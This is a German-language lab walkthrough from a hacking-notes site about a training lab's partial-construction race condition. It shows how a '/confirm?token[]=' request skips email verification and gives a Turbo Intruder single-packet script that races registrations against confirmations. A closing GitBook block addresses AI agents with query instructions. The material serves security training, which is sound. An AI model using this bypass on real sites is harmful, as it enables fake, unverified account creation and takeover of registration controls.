> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/race-conditions/partial-construction-race-condition.md).

# Race Condition bei teilweiser Konstruktion

### Race Conditions bei teilweiser Konstruktion

#### Ziel des Labs

* Die Website bietet einen Registrierungsmechanismus mit **E-Mail-Verifizierung**.
* Eine **Race Condition** ermöglicht es dir, **die Überprüfung zu umgehen** und dich mit einer beliebigen Adresse zu registrieren.
* Endziel: **ein Konto erstellen**, dich anmelden, dann **Benutzer löschen `carlos`**.

#### Beobachteter Kontext (Registrierung)

* Meldung in der Benutzeroberfläche:

<figure><img src="/files/8c9f2b08bac70a3a3c6b5bfdb2cde607a96ad92c" alt=""><figcaption></figcaption></figure>

Versuch, ein Konto mit der von der Übung bereitgestellten E-Mail-Adresse zu erstellen -> Antwort:

<figure><img src="/files/545cb86cedaab5c873fafccbdf8e6ac09acd0346" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1253d7ee99880a17d5fd8d9a242e7ea80e1ac914" alt=""><figcaption></figcaption></figure>

Mit einer zulässigen E-Mail versucht, z. B. `jordan@ginandjuice.shop` → Antwort:

**„Bitte überprüfe deine E-Mails auf den Link zur Kontoregistrierung“**.

{% code overflow="wrap" %}

```bash
csrf=HggS13aIQlQSXW9Tdhh1NmOGrSYIalTN&username=wiener&email=wiener%40exploit-0ad00064047bcce1804a250e017f00f9.exploit-server.net&password=peter
```

{% endcode %}

<figure><img src="/files/eb2b1093029b4905ca641cb599fd09004a9f9a41" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7febff6e5d711ea03f0a074f91448274af512b67" alt=""><figcaption></figcaption></figure>

#### Analyse der Ausnutzung (resources/users.js)

<figure><img src="/files/0b8410b45340eedfce36545170c75f378fbb947e" alt=""><figcaption></figcaption></figure>

In `users.js`, sehen wir:

* Das Registrierungsformular sendet `Benutzernamen`, `E-Mail`, `Passwort`.
* Die E-Mail-Bestätigung erfolgt über ein **POST** an:
* `POST /confirm?token=...`
* Das Token wird aus der URL extrahiert und in die Aktion des Bestätigungsformulars injiziert.

Fazit: Die Validierung hängt von einem Endpunkt **/confirm** mit einem **Token** übermittelt im Query-String.

```javascript
const createRegistrationForm = () => {
    const form = document.getElementById('user-registration');

    const usernameLabel = document.createElement('label');
    usernameLabel.textContent = 'Benutzername';
    const usernameInput = document.createElement('input');
    usernameInput.required = true;
    usernameInput.type = 'text';
    usernameInput.name = 'username';

    const emailLabel = document.createElement('label');
    emailLabel.textContent = 'E-Mail';
    const emailInput = document.createElement('input');
    emailInput.required = true;
    emailInput.type = 'email';
    emailInput.name = 'email';

    const passwordLabel = document.createElement('label');
    passwordLabel.textContent = 'Passwort';
    const passwordInput = document.createElement('input');
    passwordInput.required = true;
    passwordInput.type = 'password';
    passwordInput.name = 'password';

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'Registrieren';

    form.appendChild(usernameLabel);
    form.appendChild(usernameInput);
    form.appendChild(emailLabel);
    form.appendChild(emailInput);
    form.appendChild(passwordLabel);
    form.appendChild(passwordInput);
    form.appendChild(button);
}

const confirmEmail = () => {
    const container = document.getElementsByClassName('confirmation')[0];

    const parts = window.location.href.split("?");
    const query = parts.length == 2 ? parts[1] : "";
    const action = query.includes('token') ? query : "";

    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '/confirm?' + action;

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'Bestätigen';

    form.appendChild(button);
    container.appendChild(form);
}
```

#### Erster Versuch und Blockierung

* Versuch, eine leere Bestätigung zu erzwingen:

```http
POST /confirm?token=token
```

<figure><img src="/files/43a287723b73c5196454bfd7c08c7dd4946b86e5" alt=""><figcaption></figcaption></figure>

* Antwort: **Zugriff verweigert** → geschützter Endpunkt gegen leere Token

<figure><img src="/files/a6eb76c6a7d97ee4ab07afca18cf7b81f4176a20" alt=""><figcaption></figcaption></figure>

#### Schutz umgehen (alternative Interpretation)

Neuer Versuch:

```bash
/confirm?token[]=
```

* Antwort: \*\*
* Interpretation: Das Backend blockiert nicht mehr mit „Forbidden“, es \*\*verarbeitet den Wert\*\* (zeigt aber an, dass es sich um ein Array handelt).

<figure><img src="/files/9483915b757f47b4a6dd38b6e874880a2983df87" alt=""><figcaption></figcaption></figure>

#### Zeitliche Beobachtung

* Das **Registrieren** Anfrage ist langsamer:
* /\~ **199 ms**

Das **Bestätigen** Anfrage ist schneller:

* /\~ **78 ms**

<figure><img src="/files/d2e971984214dfc47367b53a07073bb651eaf005" alt=""><figcaption></figcaption></figure>

Idee: **bombardieren** `/confirm?token[]=` während des Zeitfensters, in dem das Konto erstellt wird, um zur falschen Zeit eine Bestätigung auszulösen

### Ausnutzung

#### Methode 1 — Intruder (Wettlauf)

1. Sende die `POST /confirm?token[]=` Anfrage an Intruder.

<figure><img src="/files/9414fef297a94b30cd3dcaac2cd3ed4781de55e3" alt=""><figcaption></figcaption></figure>

* Das Senden konfigurieren als **konkurrierende Anfragen** (z. B. 10).

<figure><img src="/files/e71acc00e9f3237c81ec0f3dc8c5455329b01014" alt=""><figcaption></figcaption></figure>

* Während dieses Spam-Vorgangs mehrere Konten von Repeater (oder dem Browser aus) erstellen:
* `test1`, `test2`, `test3`,... `test7`

Überprüfe die Antworten in Intruder:

* Eine der Antworten liefert am Ende **200**

<figure><img src="/files/9fccf3e86cd7bc519035f184b3db432b432bbaae" alt=""><figcaption></figcaption></figure>

Versuche, dich mit den Testkonten anzumelden:

* Erfolgreicher Befund (z. B. `test2`).

<figure><img src="/files/f022560b68f02406b5304aececfc77991d5fc3fc" alt=""><figcaption></figcaption></figure>

#### Methode 2 — Turbo Intruder (Race-/Single-Packet-Angriff)

1. Wähle eine Anfrage aus und sende sie an **Turbo Intruder**.

<figure><img src="/files/98b1cca127785cd6735aeb8d0cced4771a636b83" alt=""><figcaption></figcaption></figure>

* Wähle den **Race-/Single-Packet-** Angriffe darstellt.

<figure><img src="/files/ce32cbfb1646303ae1941f8f1bfde0b240e0c3d9" alt=""><figcaption></figcaption></figure>

Verwende dieses Skript:

Prinzip des Skripts (wie hier angewendet):

* Datei **mehrere Registrierungen** (`lol0..lol19` Benutzer)
* Anfrage **viele Bestätigungen** (`/confirm?token[]=`)
* Öffne das Gate, um die Race Condition auszulösen.

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        engine=Engine.BURP2
    )

    confirmation_email = '''POST /confirm?token[]= HTTP/2
Host: 0a0700db04dacc3080b6262500af004e.web-security-academy.net
Cookie: phpsessionid=sOwKShdkHig4oxnUpwlWZ82vFl6rwdom
Content-Length: 0

'''

    gate_name = "race1"

    for i in range(20):
        username = "lol" + str(i)
        engine.queue(target.req, [username], gate=gate_name)

    for j in range(50):
        engine.queue(confirmation_email, [], gate=gate_name)

    engine.openGate(gate_name)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="/files/2917d85c5ac04c319cbebd8b947756851b1e99ca" alt=""><figcaption></figcaption></figure>

#### Erwartetes Ergebnis

* Mindestens ein Konto wird erstellt **als wäre die E-Mail bestätigt worden** (ohne das Token zu besitzen).
* Anschließend kannst du dich mit diesem Konto anmelden und dann die Kontofunktionen nutzen, um das Laborziel zu erreichen (Löschung von `carlos`).

<figure><img src="/files/615daa6b110d0d78f36da0bf31a98a14e8808387" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/race-conditions/partial-construction-race-condition.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
